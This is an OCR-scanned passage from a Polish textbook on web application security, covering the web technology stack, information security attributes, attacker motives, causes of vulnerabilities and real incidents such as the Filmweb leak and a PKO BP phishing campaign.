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Wstep

Pod pojeciem aplikacji internetowej rozumiany jest system informatyczny
(oprogramowanie oraz infrastruktura) dostepny z poziomu przegladarki webowej. Sg
to czesto powielarne i masowo wykorzystywane w Internecie systemy, typu sklep czy
tez portal informacyjny, oraz systemy dedykowane, np. systemy bankowosci elektro-
nicznej. Charakteryzujg sie one globalnym dostepem oraz tym, ze ich uzytkownik
wprowadza dane, ktére sg zapamietywane i prezentowane innym uzytkownikom.
Coraz czesciej aplikacjg internetowg jest takze oprogramowanie automatyzujgce
przetwarzanie w tradycyjnych obszarach zarzgdzania organizacjg (np. ksiegowosc,
gospodarka materiatowa, ptace, zasoby ludzkie) oraz wykorzystujgce technologie
webowe i wewnetrzny, firmowy intranet.

Witasciwosci  aplikacji  internetowej, takie jak: globalny dostep do niej,
konieczno$¢ stosowania ogolnie dostepnych standardéw, ztozonosé srodowiska
pracy, niedoskonatosci protokotdw komunikacyjnych, powoduja, ze sg one
szczegOlnie podatne na zagrozenia zwigzane z utratg dostepnosci, poprawnosci
i poufnosci informacji. A te trzy atrybuty informacji powinno sie strzec w kazdym
systemie informatycznym.

Celem ksigzki jest zaznajomienie czytelnika z realnymi zagrozeniami wystepu-
jacymi w sieci Internet w stosunku do aplikacji internetowych oraz wskazanie na

praktyczne metody ich ochrony oraz zalecane praktyki stosowane przez ich tworcow.
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Praca ta skupia sie przede wszystkim na zagadnieniach programistycznych
(PHP, SQL, (X)HTML, Java Script, CSS itp.) i administracyjnych (serwer HTTP,
serwer BD, interpreter PHP). Przybliza takze zagrozenia, ptyngce z niewlasciwego
projektowania interfejsu i antyspotecznych zachowan uzytkownikéw aplikacji. Praca
ilustruje niebezpieczehstwo na rzeczywistych przykfadach, wskazuje stabe punkty
i przedstawia praktyczne sposoby przeciwdziatania zagrozeniom. Zaproponowany
podziat zagadnien jest umowny, a przedstawione techniki majg charakter uniwersalny
i mogg by¢ ze sobg tgczone réznorodny sposéb.

Zaznaczy¢ nalezy, ze analizie poddawane sg wybrane (czesto tez najpopu-
larniejsze) technologie wykorzystywane w przemysle internetowym. Kazda sposrod
nich posiada swoje alternatywy, w ktérych na ogét spotyka sie problemy tego samego
rodzaju. Zgtebienie podatnosci wszystkich technologii internetowych bytoby Prawdo-
podobnie niemozliwe, poniewaz kazdego dnia pojawiajg sie nowe rozwigzania i zwig-

zane z nimi problemy bezpieczenstwa.

Autorzy wyrazajg swoje podziekowania recenzentom, ktorych uwagi niewatpliwie

przyczynity sie do poprawy jakosc¢ tej ksigzki.

Autorzy


Jarek
Tekst maszynowy
.

Jarek
Tekst maszynowy


1

Aplikacje internetowe
i ich bezpieczenstwo

Cel

Rozdziat poswiecony jest zdefiniowaniu pojecia aplikacja internetowa oraz
przedstawieniu skomplikowanego S$rodowiska jej dziatania, zwanego stosem
technologicznym. Zdefiniowane zostato pojecie ataku na aplikacje w Internecie oraz
wskazane na przyczyny i motywacje jego realizacji. Scharakteryzowano szczego6towo
obszary podatnosci aplikacji internetowych na zagrozenia, wskazujgc na obiektywne
czynniki ich wystepowania Przedstawione zostaty réwniez szczegdtowo przyktady
i problemy konsekwencji atakow na aplikacje z punktu widzenia firmy, oddzielnej
osoby oraz panstwa W koncu rozdziatu zaprezentowane zostaty typowe etapy ataku
na aplikacje pracujgce w Internecie.

Plan

1. Pojecie aplikacji internetowej i jej bezpieczehstwa.

2. Zagrozenie bezpieczenstwa aplikacji internetowe;.

3. Podatno$c¢ aplikacji na zagrozenia i konsekwencje atakow.
4

Ogolny schemat ataku na aplikacje internetows.
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1.1. POJECIE APLIKACJI INTERNETOWEJ | JEJ BEZPIECZENSTWA

Internet z lat pdZznych osiemdziesigtych oraz dziewiecdziesigtych nie przypomina tego
znanego obecnie. Udostepniania woéwczas przez serwery webowe zawartos¢ byta
statyczna, pozbawiona grafiki i petnita raczej role ciekawostki niz powszechnie
dostepnego medium, takie jak radio czy telewizja. Nie istniaty automatyczne
wyszukiwarki (byly jedynie dostepne systemy przechowujgce i udostepniajgce wpisy
o stronach, ktére to byly rejestrowane manualnie ale juz przeszukiwane/wyszukiwane
automatycznie przy pomocy stow kluczowych), a powstajgce serwisy indeksujgce
adresy stron rowniez byty statyczne, czyli niezalezne od parametrow Zzgdania
(ang. HTTP Request).

Z biegiem lat zaczeto korzysta¢ z mozliwosci wysytania przez uzytkownika
danych przez formularze lub w postaci wartosci przekazanych w adresie URL. Zaczetly
pojawiac sie strony dynamiczne, ktére za posrednictwem serwera oraz interfejsu CGI
(ang. Common Gateway Interface) potrafity komunikowaé sie z programami
zewnetrznymi  generujgcymi  zawartos¢ strony na podstawie przekazanych
parametrow. Programy te pisane byty w réznych jezykach programowania, np. C/C++,
Java, Visual Basic itp. Popularnym jezykiem skryptowym byt takze Perl.

Kolejnym istotnym krokiem technologicznym w drodze do aplikacji internetowych
byto opracowanie wyspecjalizowanych pod katem Internetu srodowisk utatwiajgcych
implementacje aplikacji. Jednym z pierwszych byto PHP (ang. Hypertext Preprocessor
lub tez jako ang. Personal Home Page / Forms Interpreter). Jego pierwsza wersja byta
opracowana w 1997 roku przez Rasmusa Lerdorfa (Historia, 2012). Konkurencyjnym
rozwigzaniem byto srodowisko Microsoft'u o nazwie ASP (ang. Active Server Pages) —
wydane w grudniu 1996 roku, tj. w 9 miesiecy po premierze spetniajgcego podobne
zadanie srodowisku uruchomieniowym aplikacji w jezyku Java o nazwie WebObjects
autorstwa firmy NeXT, obecnie Apple (WebObjects, 2012). W kolejnych latach
Srodowiska te podlegaty licznym usprawnieniom oraz pojawiaty sie nowe technologie,
takie jak JSP (ang. Java Server Pages) i Java EE (ang. Java Platform, Enterprise
Edition) — (Java, 2012).
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Poczatkowo, dane, ktére byly wykorzystywane przez aplikacje internetowe,
magazynowane byty w prostych plikach tekstowych, np. CSV (ang. Comma Separated
Values, pol. wartosci rozdzielone przecinkiem). Prawdziwg funkcjonalno$¢ witryny
dynamiczne zaczely uzyskiwa¢ wspotpracujgc z serwerami bazodanowymi
z wykorzystaniem standardu jezyka SQL (ang. Structured Query Language).
Technologia bazodanowa zwieksza wydajnos¢ (np. wybor rekordéw, indeksowanie,
odrebny serwer bazodanowy) i bezpieczenstwo (ochrona danych przez serwer, tatwe
tworzenie kopii bazy danych, procedury skladowane itd.) oraz pozwala na
odseparowanie logiki aplikacji internetowej od warstwy danych. Bazy danych sg teraz
integralnymi komponentami aplikacji internetowych.

Rozwdj Internetu i technologii w nim stosowanych (przy utrzymaniu protokotu
HTTP i podstawowych zasad pracy, w tym architektury klient-serwer) doprowadzit do
tego, ze w chwili obecnej w Internecie mozna znalez¢ (Mitosz, 2005a):

e Statyczne strony internetowe — dokumenty w jednej z odmianie jezyka SGML
(ang. Standard Generalized Markup Language), tj. HTML w réznych wersjach lub
XML, pobierane i interpretowane przez przegladarke WWW. Cechag
charakterystyczng jest ich hipertekstowos¢ i multimedialnosc.

o Serwisy WWW - zbiér powigzanych tematycznie stron internetowych.

o Portale i wortale internetowe — serwisy informacyjne o szerokiej lub waskiej
tematyce.

o Aplikacje internetowe — programy wykorzystywane przez uzytkownikéw przy
pomocy przeglgdarki internetowej, ktére zapewniajg interakcje z uzytkownikiem,

przyjmowanie od niego danych i prezentowanie ich innych uzytkownikom.

Wedtug OWASP (ang. Open Web Application Security Project), miedzynarodowej
organizacji skupiajgcej swoje dziatania na poprawie bezpieczenstwa w Internecie,
aplikacje internetowa mozna zdefiniowa¢ jako architekture klient/serwer, ktéra
wspotdziata z uzytkownikiem Iub innym system wykorzystujgc protokdt HTTP.
Klientem jest zazwyczaj przegladarka WWW, ktéra automatyzuje dziatania

uzytkownika i pozwala mu na interakcje z aplikacjg (Guide, 2002).
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tacznie ze sobg wielu technologii w celu wzrostu funkcjonalnosci dynamicznych
aplikacji internetowych nazywa stosem technologicznym (Hope i Walther, 2010) oraz
rysunek 1.1. Technologie te mozna pogrupowac¢ w technologie (rysunek 1.1):
e prezentacji danych (ang. Presentation),
¢ aplikacji (ang. Application),
e dostepu do danych (ang. Data).

| Copyright - Open Web Application Security Project - http:/fwww.owasp.org Key Rrodust

I Presentation Tiers I I Application Tier I I Data Tier l

18M WebSphere
Irternet Explarer iPlanet Wb Java Server

nie X e XML Data
BEA WebLogic

JBOSS

Jigsan
iPlanet
Jakarta

Metscape
Navigatar
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X

Enterprize
Java Beans

CGI(E, Perl)
Pythan)

mmm

Java url class

2
0}
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%ﬂg

%
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Internet
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Note : This is not an exhaustive list, and is presented for demonstration purposes only.

Rys. 1.1. Stos technologiczny aplikacji internetowej
Zrédfo: (Guide, 2002)

Na stos technologiczny skifadajg sie innymi stowy, za (Bgbol, 2011) oraz (Hope
i Walther, 2010), nastepujgce elementy:
o Aplikacja — zbior instrukcji odpowiedzialnych za wykonywanie okreslonej logiki

biznesowe] (czyli oprogramowanie) — funkcja przetworzenia parametrow
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wejsciowych na odpowiedz HTTP.

¢ Oprogramowanie posrednie (ang. Middleware) — szeroka grupa technologii
dziatajgca pomiedzy serwerem HTTP a kodem obstugi logiki aplikaciji.

e Oprogramowanie serwera HTTP - dziatajgcy nieprzerwanie w systemie
operacyjnym program (proces) odpowiedzialny za nastuchiwanie i obstuge zadan
HTTP na wyznaczonych portach.

e System operacyjny — zintegrowany system informatyczny kontrolujgcy prace
hosta.

o Ustugi sieciowe — mechanizmy obcigzania, programowe zapory firewall czy

réznego typu urzgdzenia sterujgce ruchem pakietéw z i do serwera.

taczenie warstw stosu i komponentéw nierozerwalnie powigzane jest z agregacjg
ryzyka, ktéry wynika z tych technologii. W konsekwencji poza atakiem na sam serwer
HTTP, mozliwe jest ukierunkowanie wrogich dziatan na pozostate elementy stosu —
np. podglad i modyfikacja kodu zrodtowego, zatrucie parametrow zagdania, ataki na
proces uwierzytelnienia lub sesji, wstrzykniecia kodu SQL itd.

Bezpieczenstwo aplikacji internetowej nalezy rozpatrywaé z dwdch stron:
uzytkownika i wiasciciela aplikacji. Tym niemniej, za kazdym razem jest ono zwigzane
z trzema podstawowymi witasciwosciami danych/informacji, ktore nalezy chroni¢
(Mitosz, 2004b). Sa to:

e poufnose,
e dokfadnosc,

e dostepnosc.

Poufnos¢ informaciji jest okreslana jako wymaganie by informacja funkcjonujaca
w organizacji byta dostepna jedynie osobom, ktére majg do tego prawo, a niedostepna
— dla wszystkich pozostatych. We wiasnosci tej ukryte sg zatem dwie kwestie:
zdefiniowanie osob i zakresu dostepnosci informacji oraz techniczna realizacja
poufnosci, czyli udostepnienie jej jednym, a ochrona przez innymi.

Doktadnos¢ danych to cecha silnie zwigzana z uzytecznoscig, poprawnoscia,

prawdziwoscig itp. Problemem jest w tym zakresie doktadno$¢ danych zrédiowych
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(pierwotnych, tj. wprowadzanych do aplikacji) oraz ochrona tej dokladnosci przez
zagrozeniami zaréwno technicznymi (przektamania, btedy obliczeniowe), jak i ludzkimi
(zaniedbanie w aktualizacji danych lub tez umys$ine ich znieksztalcenie przez
napastnikéw, ktorzy bez stosownych uprawnien modyfikujg dane, czyli je usuwajg,
Zmieniajg badz dopisujg nieprawdziwe).

Dostepnos¢ informaciji jest jej wartosciag samg w sobie. Informacja lub tez dane
powinny by¢ dostepne w momencie i w miejscu, w ktérym powinny byé dostepne dla
uprawnionych uzytkownikow.

Polska norma PN-13335-1, w slad za normg ISO, definiuje bardziej rozszerzony
zbior atrybutéow bezpieczenstwa informacji. Zalicza ona do nich nastepujgce cechy
informacji/danych (Mitosz, 2004b):

* poufnosé,

* autentyczno$c,

* dostepnosé,

* integralnos¢ danych,

+ integralnos¢ systemu,

* rozliczalnos¢,

¢ niezawodnosc.

Wskazane cechy sg uszczegotowieniem podstawowych wiasnosci informacii
w aspekcie jej bezpieczenstwa. Pojecia integralnosci i autentycznosci danych
mieszczg sie bowiem w pojeciu doktadnosci informacji, a niezawodnos¢ -
w dostepnosci.

Ciekawym elementem bezpieczenstwa informacji jest rozliczalnos¢,
tj. powigzanie danych/dziatan w aplikacji ze zrodtem, czyli konkretnym uzytkownikiem.
W znanej grupie uzytkownikow rozliczalnos¢ wzmacnia dyscypling uzytkownikow.
Wiedza oni bowiem, ze wiasciciel aplikacji (zwykle pracodawca) $ledzi ich dziatania
i ma mozliwos¢ wyciggania konsekwencji w przypadku ich nieprawidtowosci. Cecha
rozliczalnosci w aplikacjach internetowych jest bardzo czesto trudny do zrealizowania,
ze wzgledu na ich charakter.
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1.2. ATAKINA APLIKACJE INTERNETOWA | ICH PRZYCZYNY

Nalezy najpierw uporzagdkowacé pojecia. | tak podstawowe pojecia zwigzane z atakami

na aplikacje internetowg zostaty przedstawione ponize;.

Atak na aplikacje internetowg definiowa¢ mozna jako akcje, ktéra wykorzystuje
staby punkt by zrealizowa¢ zagrozenie (Shiflett, 2006).

Zagrozenie to mozliwos¢ wystgpienia zdarzenia (zamierzonego lub
przypadkowego), ktére spowodowac moze szkody wzgledem zasobu.

Zasobem jest natomiast byt informatyczny posiadajgcy pewne wartosci — moga
by¢ to np. dane w bazie, pliki lub obiekty systemu informatycznego (Meier i in., 2004).

Staby punkt to podatnos¢, ktéra czyni nieuprawnione wykorzystanie zagrozenia
mozliwym do wykonania.

Przyczyny dokonywania atakow sg zréznicowane. Jedne majg podtoze
psychologiczne, inne finansowe, jeszcze inne odbywajg sie automatycznie i losowo.
Wyrézni¢c mozna kilka podstawowych czynnikdbw motywujgcych hakeréw do
przeprowadzania atakow (Sobstel, 2006):

o Korzysci materialne — pozyskanie réznego rodzaju dobr (np. srodkéw
finansowych lub ptatnej zawartosci serwisdw) poprzez ominiecie zabezpieczen lub
zdobycia cudzych danych autoryzacyjnych.

o Szpiegostwo — nieautoryzowane pozyskanie danych w celach przemystowych
lub politycznych.

o Satysfakcja — che¢ poznania wiasnych mozliwosci w obszarze umiejetnosci
obchodzenia zabezpieczen.

e Slepy los — ataki wykorzystujgce zautomatyzowane roboty lub ,robaki’ czesto
wybierajgce losowe zasoby internetowe w celu odnalezienia i wykorzystania luk
w danym oprogramowaniu. Do tego typu czynnikbw mozna rowniez zaliczyé
oprogramowanie, ktére powstaje przypadkowo, na wskutek uzywania (mniej lub
bardziej $wiadomego) réznych generatoréw, stron internetowych czy bibliotek.

e Wandalizm — gtéwnym celem jest dokonanie zniszczeh w celu osiggniecia

przyjemnosci z tego powodu.
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1.3. PODATNOSCI APLIKACJI INTERNETOWYCH NA ATAK

Gtéwna odpowiedzialnos¢ za bezpieczenstwo aplikacji internetowej spoczywa na jej
projektantach i twércach. Niestety nie mozna zagwarantowaé, ze programisci tych
aplikacji bedg mieli nalezyte kwalifikacje. Smutng praktykg jest bowiem powierzanie
krytycznych mechanizméw ochrony danych (i nie tylko) osobom, ktére dopiero
zaczynajg swojg prace z tworzeniem aplikacji internetowych. Nie sg one Swiadome
istniejgcych niebezpieczenstw lub nie przyktadajg do nich wagi, jak réwniez ignorujg
stosowanie odpowiednich mechanizméw zabezpieczajgcych. Nie mozna tez
zagwarantowac, ze programista, ktory nie lubi trudnych probleméw bezpieczenhstwa,
podejmie wysitki zwigzane z zaplanowaniem najczarniejszych scenariuszy zagrozenia
aplikacji i zaimplementuje mechanizmy ochronne.

Co gorsza, okazuje sie, ze wprowadzanie innowacji prowadzi réwnoczesnie do
lekcewazenia problemdéw zwigzanych z bezpieczenstwem. Nowe, interesujgce
rozwigzania internetowe dziataja, mimo ze wecale nie sg bezpieczne (Well, 2008)
Jednoczesnie istnieje ,parcie” (wynikajgce zwykle z potrzeb marketingowych, ale nie
tylko) pracownikéw biznesu w kierunku nowych technologii, wymuszajgce ich
stosowanie w aplikacjach. Tymczasem, brak srodkéw bezpieczenstwa, ich
niepoprawny wybor, btedna implementacja lub niewtasciwa konfiguracja srodowiska
wykonawczego wynikajgca z wtasciwosci nowej technologii lub braku umiejetnosci jej
uzycia, narazajg aplikacje internetowg na katastrofalne w skutkach ataki.

Inny problem stanowi organizacja, wspotpraca i komunikacja wewnatrz zespotu
programistow. Powszechng praktyka zwigzang z tworzeniem rozbudowanych
serwisow internetowych stato sie rozbijanie ztozonego projektu na mniejsze zadania.
Kazde zadanie ma przydzielong osobe (lub grupe osoéb) ktéra ma je zrealizowac.
Praca nad aplikacjg przebiega wéwczas sprawniej i kazdy pracownik realizuje zadanie
w obszarze, w ktorym jest wyspecjalizowany. Czesto w takim przypadku okazuje sie,
ze wystepuje tu tzw. ,problem innej osoby”. Polega on na tym, ze poszczegdlni
cztonkowie zespotu zakladajg, ze dbatos¢ o bezpieczenstwo elementéw
komunikujgcych sie ze sobg elementow aplikacji lezy w kompetencjach innego
pracownika (Hoffman i Sullivan, 2009). Jako przyktad mozna poda¢ programiste SQL,

tworzagcego zaawansowane procedury skiadowane oraz tworce logiki aplikacji
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w jezyku PHP, ktérego zadaniem jest integracja informacji pochodzacych z bazy
z przygotowanymi uprzednio szablonami. W tym celu musi przekaza¢ do bazy danych
parametr zewnetrzny pochodzacy od uzytkownika precyzujgcy, ktére informacje maja
by¢ mu dostarczone. Programista SQL posiada przeswiadczenie, ze parametry
przekazane jego procedurom bedg w poprawnym, sprawdzonym formacie
i bagatelizuje zagrozenie przekazania ztosliwego kodu. Deweloper PHP réwniez nie
wykazuje troski o sprawdzenie danych wejsciowych — musi on jedynie przekazaé
parametr pochodzacy z zgdania HTTP do warstwy bazy danych, uznajac ze guru SQL
zadba o reszte. W wyniku takiego dziatania powstaje luka bezpieczehstwa w postaci
podatnos¢ na wstrzykniecie SQL umozliwiajgcg kradziez lub modyfikacje bazy
danych. Powinno sie zatem jasno definiowa¢ zadania lub korzystaé z tzw. ,dogtebnej
ochrony”, ktéra oznacza podejscie zaktadajgce, ze wszystkie wczesniejsze Srodki
ochrony potencjalnie zawiodly i zabezpieczenie opracowywanego elementu ma
znaczenie krytyczne (Hoffman i Sullivan, 2009). W ten sposob powstaje szereg
mechanizméw ochronnych zmniejszajgcy ryzyko ztamania aplikacji. W opisanym
przyktadzie obaj programisci powinni zadbac o sprawdzanie danych.

Brak umiejetnosci i zta komunikacja w zespole nie jest sg jedynymi przyczynami
podatnosci na atak. Napiete terminy realizacji nie pozwalajg niekiedy na obszerne
testy penetracyjne. Nie ma pewnosci co do poprawnego funkcjonowania krytycznych
mechanizmow takich jak budowa zapytan do bazy danych wykorzystujgcych parametr
zewnetrzny lub wgrywanie plikbw przez uzytkownika. Dopiero co ukonczone,
niesprawdzone pod katem bezpieczenstwa systemy zyskujg miano wersji
produkcyjnej i udostepnianie sg milionom ludzi w sieci. Takie projekty czesto stajg sie
takomym kagskiem dla hakeréw, a do wlaman dochodzi nawet przed ich oficjalnym
otwarciem. Takie wtamania sg czesto przygotowane w trakcie tworzenia rozwigzania
i realizowane po pojawieniu sie wersji produkcyjne;.

Jeszcze inny problem stanowi popularne wérdd niedoswiadczonych
programistow  przeswiadczenie, ze uzytkownik zawsze postgpi wedtug
przygotowanego przez nich scenariusza. Tworca zaktada, ze ograniczenia natozone
przez kod wystany do agenta uzytkownika (ang. User Agent) zawsze spetnig swoje
zadanie. Prawda jest jednak taka, ze zarowno kod HTML, CSS jak i JavaScript fatwo

podlega manipulacji. Nawet przecietny uzytkownik zawsze mozna wytgczyc
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np. maksymalng dtugos¢ pol formularzy lub dziatanie interpretera Java Script
uniemozliwiajgc tym samym sprawdzenie poprawnosci wprowadzanych danych
zaktadane przez aplikacje internetowa.

Protokét HTTP, przez ktory przesytane sg dane stron WWW, jest protokotem
tekstowym i bezstanowym. Oznacza to, ze dane przesytane sg w postaci otwartego
tekstu, a miedzy dwoma dowolnymi zgdaniami nie ma zadnego zwigzku. Otwarty tekst
jest dostepny dla wszystkich. Bezstanowo$¢ natomiast umozliwia wpisywanie zgdan
do serwera bezposrednio w okienku terminala. Taka metoda jest oczywiscie
niewygodna, wiec powstaly dziesigtki programoéw oferujgcych budowe najbardziej
wymyslnych zgdan HTTP zagrazajgcych aplikacji.

Kolejny problem wynika z typéw tworzonych aplikacji. Pierwszy z nich
to indywidualne, implementowane pod konkretne zamdéwienie, aplikacje dedykowane.
Koniecznos¢ ich budowy wynika czesto z potrzeby zintegrowania istniejgcej juz
wewnatrz organizacji infrastruktury informatycznej, tak by programy stanowigce jej
sktadowe mogly bezproblemowo wymienia¢ dane przez Internet (Mitosz i in., 2004a).
Taki system trzeba zaprojektowa¢ od samego poczgtku lub w znacznym stopniu
przerabia¢ system istniejgcy. Cechuje sie on bardzo ograniczonym dostepem do kodu
zrodtowego i niskg liczbg wdrozen (na ogodt istnieje jeden egzemplarz). Dzigki temu
ograniczona zostaje réwniez liczba oséb znajgcych wewnetrzne mechanizmy i stabe
punkty dedykowanego kodu. Niestety aplikacje takie czesto przechodzg jedynie
powierzchowne testy bezpieczenstwa, a ich stabosci wychodzg na jaw po wdrozeniu
i udostepnieniu uzytkownikom korncowym.

Drugi typ stanowig aplikacje powielarne. Wyrézniajg sie one tym, ze bazujg
na pewnych istniejgcych juz rozwigzaniach, ktére w zaleznosci od typu licencji maja
charakter ogdlnodostepny lub komercyjny. Przykiady takich systemoéw to Joomla!
(system portalowy), DruPal (system CMS), WordPress (blog) lub phpBB (forum
dyskusyjne). Pozwalajg one na szybka budowe aplikacji internetowych
o zréznicowanej funkcjonalnosci i tresciach. W odréznieniu od aplikacji dedykowanych
ich kod jest ogolnie dostepny, a liczba wdrozen jest znaczna. Stosowanie aplikacji
powielarnych obarczone jest ryzykiem wystepowania podatnosci zwanej ,zero-day”.
Oznacza ona, ze przypadku wykrycia luki bezpieczenstwa w systemie na ktorym

bazuje aplikacja, automatycznie narazona jest ona na atak. Dostepnos¢ aktualizaciji
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eliminujgcej omawiang luke uzalezniona jest w gtownej mierze od producenta

oprogramowania. Czas od odkrycia luki do jej wyeliminowania (przy czym wazna jest

tutaj szybkos$c¢ reakcji administratora aplikacji) stanowi tzw. ,okno zagrozenia” (Mitosz,
2005b), w ktorym haker moze dokona¢ pomysinego ataku na aplikacje powielarne.

Liczba wdrozen systemow powielarnych znacznie przewyzsza liczbe funkcjonujgcych

aplikacji dedykowanych — jest to jeden z podstawowych powoddw znacznego zasiegu

atakow ,zero-day”.

Kolejnym elementem ostabiajgcym poziom bezpieczenstwa aplikacji (nie tylko
internetowych) jest powszechna tolerancja na btedy systemow informatycznych.
Uzytkownik jest przyzwyczajony, ze aplikacja moze zadziataé niepoprawnie, ze
w kazdej chwili komputer moze przesta¢ reagowac¢ na jego dziatania i ze w kazdej
chwili moze zobaczy¢ przystowiowy ,niebieski ekran”, po ktérym wykonuje
samodzielnie i zwyczajowo procedure wytgcz-wigcz.. W konsekwencji twércy aplikadji
czesto lekcewazg problemy ich jakosci, zaktadajgc Ze jak sie pojawi problem to go sie
usunie poprawka lub w kolejnej wersji. Problem btedu w programie da sie tak
rzeczywiscie poprawic, ale jego skutkow w postaci np. wykradzenia tozsamosci lub
nawet pieniedzy — juz nie.

Bezpieczenstwo informacji, a wlasciwie caly proces jego zapewnienia, posiada
cechy, ktére z psychologicznego punktu widzenia sprzyjajg zagrozeniom, a miano-
wicie (Mitosz, 2005b) bezpieczenstwo jest:

e nudne na wszystkich etapach cyklu zycia aplikacji: od pozyskiwania wymagan, jej
projektowania, implementaciji, testowania az po eksploatacje; znacznie ciekawsze
jest projektowanie lub walka z btedami niz opracowywanie zabezpieczen,
procedur oraz ich codzienne stosowanie bez widocznego efektu; bezpieczenstwo
wydaje sie nie mie¢ wyraznych symptoméw i bodZzcéw dla oséb zwigzanych z jego
realizacjg i utrzymaniem;

e ograniczaniem, stosowanie procedur bezpieczenstwa przez uzytkownikéw (np.
nazw i haset w celach autentykacji) czy opracowanie zabezpieczen przez
producentdéw oprogramowania jest narzutem, postrzeganym przez normalnych,
dobrze nastawionych uzytkownikow jako zupetnie niepotrzebny ale kosztowny
(podobnie jak np. fotoradary na drogach);
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niemierzalne, trudno jest bowiem zmierzy¢ poziom bezpieczenstwa tego czy
innego systemu w rozsadnej metryce; metryki czastkowe (typu czas odtworzenia
po awarii czy liczba wykrytych luk w bezpieczehnstwie w ciggu roku) nie spetiaja
potrzeb odbiorcéw aplikacji; rzeczy niemierzalne sg natomiast trudne do
oszacowania i w konsekwencji uniemozZliwiajg wyznaczenie racjonalnego
w danym przypadku poziomu zabezpieczen;

trudne, poniewaz trudno jest walczy¢ z intelektualnym zaangazowaniem
drugiego cztowieka, przewidywac jego dziatania majgc réwnoczesnie Swiadomosc¢
niedoskonatosci technologii i ogromnej przewagi czasowej atakujgcego, ktéry ma
duzo czasu na przygotowanie ataku, a obrona powinna dziata¢ btyskawicznie;
wielowarstwowos$¢ systemow informatycznych powoduje, ze luka w bezpie-
czenstwie jest bardzo czesto catkowicie niezalezna od twodrcow konkretnej
aplikacji; istotnym elementem trudnosci jest takze losowy, czesto nieprze-

widywalny, charakter wiekszo$ci zagrozen.

Wymienione powody stanowig gtéwng przyczyne podatnosci na ataki na aplikacje

pracujgce w sieci Internet. Nalezy mie¢ na uwadze, ze kazda technika agresji posiada

indywidualne warunki, w ktorych moze zajs¢. Poza tym potencjalny napastnik ma

bardzo duzo czasu na przygotowanie ataku.

Luki w aplikacjach internetowych mogg by¢ pozostawione na réznych jej

poziomach i w ré6znych warstwach. Na rysunku 1.2 przedstawiony zostat procentowy

udziat réznego typu podatnosci w ogole zjawiska. Do najczesciej wystepujgcych

podatnosci zalicza sie: wstrzykniecia kodu SQL (25%), ataki XSS (17%), ominigcie

procesu uwierzytelnienia lub autoryzacji (14%), btedy bufora (12%).
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Rys. 1.2. Udziat r6Znego rodzaju podatnosci na ataki w aplikacjach internetowych
Zrédio: (Application, 2009)

1.4. KONSEKWENCJE ATAKOW NA APLIKACJE INTERNETOWE

Skutki dokonanego i udanego ataku mogg uwidoczni¢ sie niezwiocznie, z opoznie-
niem, a czasem w ogole nie sg odczuwalne. Wszytko zalezy od rodzaju dokonanego
ataku ijego rezultatow. Istnieja serwisy o zroznicowanym stopniu poufnosci
przechowywanych danych. Niektore udostepniajg ptatng zawartos¢ swoim klientom.
Jeszcze inne pozawalajg na obszerne zarzadzanie finansami online. Nie ulega
watpliwosci, ze dbatos¢ o integralnos¢ danych, zapewnienie poufnosci informaciji oraz
ochrona przed ich przestepczym wykorzystaniem jest szczegdlnie wazng funkcjg
systemoéw informatycznych dziatajgcych w Internecie. Jesli dane poufne wejdg
w posiadanie osob nieuprawnionych badz skojarzone z innymi informacjami postuzg
do innych celéw niz okredlone przy ich gromadzeniu, powsta¢ powazne zagrozenie
interesow ekonomicznych firmy, praw obywatelskich jednostki (Sobstel, 2006),
a nawet bezpieczenstwa kraju. Rysunek 1.3 przedstawia najwieksze zagrozenia dla
firm pochodzgce z popularnych, masowych aplikacji internetowych, takich jak

Facebook czy Twitter.



22 Wspbtczesne Technologie Informatyczne. Zagrozenia i ochrona aplikacji internetowych

Klopoty z dziataniem sieci komputerowe;j

Wptyw na reputacje firmy

Zmniejszenie wydajnosci pracy

Infekcje ztosliwym oprogramowaniem

Straty finansowe

Naruszenie prywatnosci

0% 20% 40% 60% 80%

Rys. 1.3. Najwigksze zagrozenia dla firm, pochodzgce z mediéw spofecznosciowych
Zrédfo: opracowanie wtasne na podstawie (Raport, 2011)

Nieodtgcznym efektem udanego ataku na aplikacje internetowg jest
kompromitacja jej wykonawcy. Ale nie tylko — na szwank narazona zostaje bowiem
reputacja catego serwisu lub instytucji, do ktérej on nalezy. Po ujawnieniu samego
faktu ataku, poszkodowany zmuszony jest do znacznych wysitkbw w celu
odnalezienia i zatatania dziury w swoim systemie oraz zapewnienia grona
uzytkownikbw oraz opinii publicznej, ze kryzys zostat zazegnany. Polski serwis
filmowy Filmweb.pl w potowie sierpnia 2010 roku padt ofiarg upublicznienia pliku
zawierajgcego liste ponad 700 000 loginéw, adresow email oraz sum kontrolnych
haset uzytkownikéw (Filmweb, 2008). Administracja tego serwisu poinformowata
poszkodowanych o koniecznosci zmiany hasta nie tylko w swoim, ale rowniez
winnych serwisach, gdzie zostalo ono uzyte. Wykorzystujgc tendencje do
wielokrotnego stosowania tego samego hasta oraz znajomos¢ adresu email ofiary,
haker moze ukras¢ jej tozsamos$¢ z innych aplikacji webowych, np bankéw, sklepéw
lub aukcji internetowych. Nalezy wiec mie€ na uwadze, ze zabezpieczenie wtasnego
serwisu przektada sie réwniez na w pewnym stopniu na globalne bezpieczenstwo
Internetu i powinno dokonac¢ sie wszelkich staran, by nie dopusci¢ do ztamania lub

obejscia zabezpieczen.
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Problem atakow na systemy finansowe dotyczy takze Polski. Najlepszym tego
przyktadem jest atak przeprowadzony 18 stycznia 2010 roku na PKO BP. Byt to atak
typu phising, polegajgcy na podszyciu sie pod administracje serwisu i wyludzenie od
klientow danych uwierzytelniajgcych. Wszystko odbylo sie za pomocg listow email
zawierajgcych powiadomienie o mozliwosci zablokowania konta z powodu braku
wymaganych danych (numery kart kredytowych, kody pin). Pod wiadomoscig
znajdowato sie fgcze pozwalajgce uzupemié te dane. Klientom zamiast oryginalnej
strony banku wyswietlana byta jednak spreparowana witryna przechwytujgca wpisane
informacje (Atak, 2010). Ataki tego typu sg dos¢ czeste i zerujg na naiwnosci

uzytkownikéw, zwodzac ich adresem, wygladem. logami itd. (rysunek 1.4).
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Rys. 1.4. Atak phisingowy na wtascicieli kart kredytowych — przyktad
Zrédfo: opracowanie wiasne
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W ostatnich latach hakerzy wykorzystujg do zarazania ztosliwym
oprogramowaniem i atakéw typu phishing znane portale spotecznosciowe. Na liscie
takich serwisow znajdujg sie dobrze znany Facebook (Vieg, 2010), Twitter czy
Youtube. Portale spotecznosciowe, zwane tez Social Media, to miejsce, gdzie
cyberprzestepcy znalez¢é mogg — i prébujg — wielu nieostroznych uzytkownikéw, ktérzy
stajg sie ofiarami ich dziatan. Dobrze opracowane robaki internetowe rozprzes-
